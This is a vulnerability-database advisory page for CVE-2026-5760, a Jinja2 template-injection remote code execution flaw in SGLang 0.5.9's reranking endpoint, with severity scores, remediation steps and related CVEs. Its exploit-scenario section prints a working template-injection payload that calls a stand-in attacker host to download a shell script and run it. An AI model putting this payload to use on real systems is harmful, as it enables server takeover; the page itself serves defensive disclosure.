Skip to main content

Sglang EUVDEUVD-2026-23860

| CVE-2026-5760 CRITICAL
Code Injection (CWE-94)
2026-04-20 certcc GHSA-2wm4-697g-pfq8
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious model file with Jinja2 payload
  2. Delivery
    Upload/inject model into SGLang instance
  3. Exploit
    Trigger /v1/rerank endpoint request
  4. Execution
    Unsandboxed template rendering executes code
  5. Persist
    Establish remote shell as SGLang process user
  6. Impact
    Exfiltrate data or pivot to internal systems

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target SGLang 0.5.9 instance to load and process a model file containing attacker-controlled tokenizer.chat_template data. This occurs when SGLang is configured to: accept model uploads via API endpoints, automatically fetch models from public model hubs (HuggingFace, ModelScope) without integrity verification, or ingest models from CI/CD artifacts controlled by untrusted sources. The /v1/rerank endpoint must be accessible to trigger template rendering, but authentication is NOT required (PR:N in CVSS vector). Exploitation succeeds against default configurations if model sourcing permits external input. Limiting factors: deployments using only pre-vetted internal models from cryptographically signed repositories are NOT vulnerable; network isolation preventing inbound connections to /v1/rerank blocks remote exploitation; file integrity monitoring detecting unauthorized model file modifications may alert defenders before exploitation completes.

Impact

This vulnerability represents CRITICAL real-world risk requiring immediate attention. The CVSS 9.8 score accurately reflects severity with complete attack chain accessibility: network-accessible vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and total compromise potential (C:H/I:H/A:H). SSVC framework confirms 'automatable' exploitation with 'total' technical impact, indicating attackers can develop reliable exploits without manual intervention. Public POC existence (GitHub repository by Stuub demonstrating exploitation) significantly lowers attacker entry barrier. However, practical exploitation requires the victim SGLang instance to load attacker-controlled model files-this dependency makes the attack realistic in environments accepting models from untrusted sources (public model hubs, user uploads, CI/CD pipelines ingesting external artifacts) but less relevant for hardened deployments using only vetted internal models. No KEV listing suggests targeted rather than widespread exploitation campaigns at analysis time. The combination of unauthenticated remote access, proven exploitability, and code execution severity makes this a top remediation priority for any SGLang deployment exposed to external networks or untrusted model sources.

Exploit ScenarioDerived

An attacker identifies an internet-exposed SGLang 0.5.9 instance accepting model uploads or configured to fetch models from public repositories. The attacker crafts a malicious model file with a tokenizer.chat_template containing Jinja2 template injection payload such as {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('curl attacker.com/shell.sh|bash')}}. When the SGLang server loads this model and processes a reranking request via /v1/rerank, the unsandboxed Jinja2 environment executes the embedded Python code, establishing a reverse shell with full privileges of the SGLang process. Public POC code (https://github.com/Stuub/SGLang-0.5.9-RCE) demonstrates practical exploitation technique.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 20, 2026

Remote code execution in SGLang 0.5.9's /v1/rerank endpoint allows unauthenticated attackers to execute arbitrary code by loading specially crafted model files with malicious Jinja2 templates. The vulnerability stems from unsandboxed rendering of tokenizer.chat_template fields, enabling template injection attacks. Publicly available exploit code exists (GitHub POC by Stuub). With CVSS 9.8 (AV:N/AC:L/PR:N/UI:N) and SSVC ratings of automatable with total technical impact, this represents critical risk for exposed SGLang deployments handling untrusted model files.

RemediationAI

Upgrade SGLang to a patched version that implements sandboxed Jinja2 template rendering using jinja2.sandbox.SandboxedEnvironment instead of the unsecured jinja2.Environment. Consult the SGLang project GitHub repository and CERT/CC advisory (https://www.kb.cert.org/vuls/id/915947) for specific patched release versions addressing CVE-2026-5760. If immediate patching is not feasible, implement compensating controls: restrict model file sources to cryptographically verified internal repositories only, rejecting all external or user-uploaded models; implement network segmentation to isolate SGLang instances from untrusted networks; disable the /v1/rerank endpoint if not operationally required by modifying SGLang configuration to remove reranking functionality; deploy application firewalls to inspect and block HTTP requests to /v1/rerank containing suspicious Jinja2 template syntax ({{ }}, {% %} patterns), though this risks false positives and bypass via encoding. Note that network restrictions only mitigate external exploitation-malicious insiders or compromised CI/CD pipelines can still exploit the vulnerability by introducing crafted model files. Full remediation requires upgrading to a version with secure template handling.

Affected VersionsENISA

sglang 0.59

Affected Packages

euvd sglang no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SGLang is a language model serving framework that implements OpenAI-compatible API endpoints. The /v1/rerank endpoint processes model files containing tokenizer configurations, including Jinja2-formatted chat_template fields used to format conversation inputs. The vulnerability exploits CWE-94 (Improper Control of Generation of Code) by leveraging Python's jinja2.Environment() without sandboxing protections. When SGLang loads a model file with a malicious chat_template, the Jinja2 template engine executes embedded Python expressions server-side. Unlike sandboxed Jinja2 environments (which use jinja2.sandbox.SandboxedEnvironment), the unsandboxed implementation allows arbitrary attribute access and method invocation, enabling attackers to call system functions, import modules, or execute shell commands through template injection payloads. The affected CPE (cpe:2.3:a:sglang:sglang) identifies the SGLang project's core serving component, with EUVD confirming version 0.5.9 specifically vulnerable.

Know when Sglang gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

SGLang's reranking endpoint (/v1/rerank) achieves Remote Code Execution (RCE) when a model file containing a malcious tokenizer.chat_template is loaded, as the Jinja2 chat templates are rendered using an unsandboxed jinja2.Environment().

Executive ViewAI

Why It Matters

SGLang versions up to 0.5.9 contain a critical remote code execution vulnerability in the reranking endpoint that allows unauthenticated attackers to execute arbitrary code by uploading malicious model files. Any organization running exposed SGLang instances for inference or reranking operations faces immediate risk of complete system compromise without vendor mitigation available.

Business Impact: Severe
Compensating Controls

Implement strict network segmentation-restrict /v1/rerank endpoint access to internal, authenticated requests only via firewall or API gateway; disable dynamic model loading from external sources; require administrative approval for all model file uploads; conduct code review of tokenizer.chat_template fields in existing models before use; run SGLang in isolated containers with minimal privileges and resource limits; monitor for suspicious process execution and file access patterns on SGLang hosts.

Threat Intelligence Overview

EPSS Score
0.3%
Top 48% exploitable
Social Media
4
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Sglang

View all
CVE-2026-127222 HIGH POC
8.7 Nov 18

Missing authorization on SGLang's POST /load_lora_adapter_from_tensors HTTP endpoint lets any client that can reach the

CVE-2026-112082 HIGH POC
7.7 Oct 19

Unauthenticated remote attackers can crash the SGLang inference server (versions up to and including 0.5.19) by calling

CVE-2026-15969 CRITICAL
9.8 Jul 30

Remote code execution in SGLang (versions up to and including 0.5.15) allows unauthenticated attackers to run arbitrary

CVE-2026-3059 CRITICAL
9.8 Mar 12

SGLang's multimodal generation module deserializes untrusted data with pickle.loads() over an unauthenticated ZMQ broker

CVE-2026-3060 CRITICAL
9.8 Mar 12

SGLang's encoder parallel disaggregation system is vulnerable to unauthenticated RCE through pickle deserialization in t

CVE-2026-7304 CRITICAL
9.8 May 18

Unauthenticated remote code execution in SGLang (the LLM/multimodal generation serving runtime) affecting version 5.10 a

CVE-2026-15976 CRITICAL
9.8 Jul 30

Remote code execution in SGLang (versions up to and including 0.5.15) allows attackers to run arbitrary code on the infe

CVE-2026-86793 CRITICAL
9.8 Sep 11

Remote code execution in SGLang AI inference servers allows unauthenticated attackers to run arbitrary code through the

CVE-2026-15971 CRITICAL
9.8 Jul 30

Remote code execution in SGLang (versions ≤ v0.5.15) allows attackers to achieve arbitrary code execution through the op

CVE-2026-7301 CRITICAL
9.8 May 18

Unauthenticated remote code execution affects SGLang, an LLM/multimodal inference-serving framework, at version 5.10, wh

CVE-2026-93034 CRITICAL
9.8 Oct 08

Unauthenticated remote code execution in SGLang versions through v0.5.20 arises from unsafe pickle deserialization in th

CVE-2026-93088 CRITICAL
9.8 Sep 22

Unauthenticated remote code execution in SGLang 0.5.11 through 0.5.14 occurs when the multimodal generation runtime is l

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy